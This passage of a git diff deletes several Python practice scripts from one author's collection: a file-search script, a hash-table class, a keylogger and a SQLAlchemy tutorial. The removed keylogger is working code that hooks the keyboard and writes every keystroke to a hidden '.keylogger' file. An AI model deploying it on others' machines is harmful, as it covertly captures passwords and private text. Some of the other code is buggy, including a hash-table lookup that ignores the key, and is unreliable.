if os.path.isfile(os.path.join(DIRECTORY, name))] -files = [] - -for root, dirs, files in os.walk(DIRECTORY): - for File in files: - files.append(root + File) - -dirs.sort() -files.sort() - -def binarySearch(target, List): - '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' - left = 0 #First position of the list - right = len(List) - 1 #Last position of the list - global iterations - iterations = 0 - - while left <= right: #U can also write while True condition - iterations += 1 - mid = (left + right) // 2 - if target == List[mid]: - return mid, List[mid] - elif target < List[mid]: - right = mid - 1 - else: - left = mid + 1 - return -1 - -print(dirs) -print(files) - -try: - result, filePath = binarySearch('server.py', files) - print(os.path.abspath(filePath)) -except: - print('File not found') diff --git a/Test2/P78_HashTable.py b/Test2/P78_HashTable.py deleted file mode 100644 index c4aaf61..0000000 --- a/Test2/P78_HashTable.py +++ /dev/null @@ -1,40 +0,0 @@ -# Author: OMKAR PATHAK - -# In computing, a hash table (hash map) is a data structure which implements an associative array abstract -# data type, a structure that can map keys to values. A hash table uses a hash function to compute an index -# into an array of buckets or slots, from which the desired value can be found. - -# Python's built-in data type dictionary uses hash tables to retrieve key value pairs. - -class HashMap(object): - def __init__(self): - self.hash_map = [[(None, None)] for _ in range(10)] - - def insert(self, key, value): - hash_key = hash(key) % len(self.hash_map) - key_exists = 0 - hash_list = self.hash_map[hash_key] - # print(key, value) - for i, key_value_pair in enumerate(hash_list): - key_in_table, value_in_table = key_value_pair - if key == key_in_table or key_in_table == None: - key_exists = 1 - if key_exists: - hash_list[i] = ((key, value)) - else: - hash_list.append((key, value)) - - def get(self, key): - hash_key = hash(key) % len(self.hash_map) - hash_list = self.hash_map[hash_key] - for i, key_value in enumerate(hash_list): - key_in_table, value_in_table = key_value - return value_in_table - raise KeyError - -if __name__ == '__main__': - myDict = HashMap() - myDict.insert('Omkar', 'Pathak') - myDict.insert('Jagdish', 'Pathak') - value = myDict.get('Omkar') - print(value) diff --git a/Test2/P79_SimplePythonKeylogger.py b/Test2/P79_SimplePythonKeylogger.py deleted file mode 100644 index ff08573..0000000 --- a/Test2/P79_SimplePythonKeylogger.py +++ /dev/null @@ -1,49 +0,0 @@ -# Author: OMKAR PATHAK - -# This file requires two modules to be installed: -# 1. pyxhook.py: file is provided in the folder itself -# 2. Xlib: sudo pip3 install python3-Xlib - -import pyxhook -import time - -# functions to write a newline character into the file -def newline(): - file = open('.keylogger', 'a') - file.write('\n') - file.close() - -# This function is called every time a key is pressed -def key_press_event(event): - global running - # write the key pressed into a file - if event.Key != 'space' and event.Key != 'Escape': - with open('.keylogger', 'a+') as File: - File.write(event.Key) - - # If the ascii value matches spacebar, add a newline in the file - if event.Key == 'space': - newline() - - # If the ascii value matches escape, terminate the while loop - if event.Key == 'Escape': - running = False - newline() - -if __name__ == '__main__': - # Create hookmanager - hookman = pyxhook.HookManager() - # Define our callback to fire when a key is pressed down - hookman.KeyDown = key_press_event - # Hook the keyboard - hookman.HookKeyboard() - # Start our listener - hookman.start() - - # Create a loop to keep the application running - running = True - while running: - time.sleep(0.1) - - # Close the listener when we are done - hookman.cancel() diff --git a/Test2/P80_SQLAlchemyTutorial.py b/Test2/P80_SQLAlchemyTutorial.py deleted file mode 100644 index f031635..0000000 --- a/Test2/P80_SQLAlchemyTutorial.py +++ /dev/null @@ -1,61 +0,0 @@ -# Author: OMKAR PATHAK -# This is a simple tutorial on usinng SQLAlchemy as ORM (Object Relational Mapping) - -# Make sure you have installed SQLAlchemy using: pip3 install sqlalchemy - -from sqlalchemy import ( - create_engine, - Column, - Integer, - String -) - -from sqlalchemy.ext.declarative import declarative_base -from sqlalchemy.orm import sessionmaker -import os - - -# create a sqlite db -engine = create_engine('sqlite:///example.db', echo=True) -Base = declarative_base() - - -class Student(Base): - __tablename__ = "student" - - id = Column(Integer, primary_key=True) - username = Column(String) - firstname = Column(String) - lastname = Column(String) - university = Column(String) - - def __init__(self, username, firstname, lastname, university): - self.username = username - self.firstname = firstname - self.lastname = lastname - self.university = university - - -def create_tables(): - # create tables - Base.metadata.create_all(engine) - - -if __name__ == '__main__': - sqlite_file = 'example.db' - file_exists = os.path.isfile(sqlite_file) - if not file_exists: - create_tables() - Session = sessionmaker(bind=engine) - session = Session() - - # Create objects - user = Student('OmkarPathak', 'Omkar', 'Pathak', 'MIT') - session.add(user) - - # commit the record the database - session.commit() - - # Select objects - for student in session.query(Student).order_by(Student.id): - print (student.firstname, student.lastname)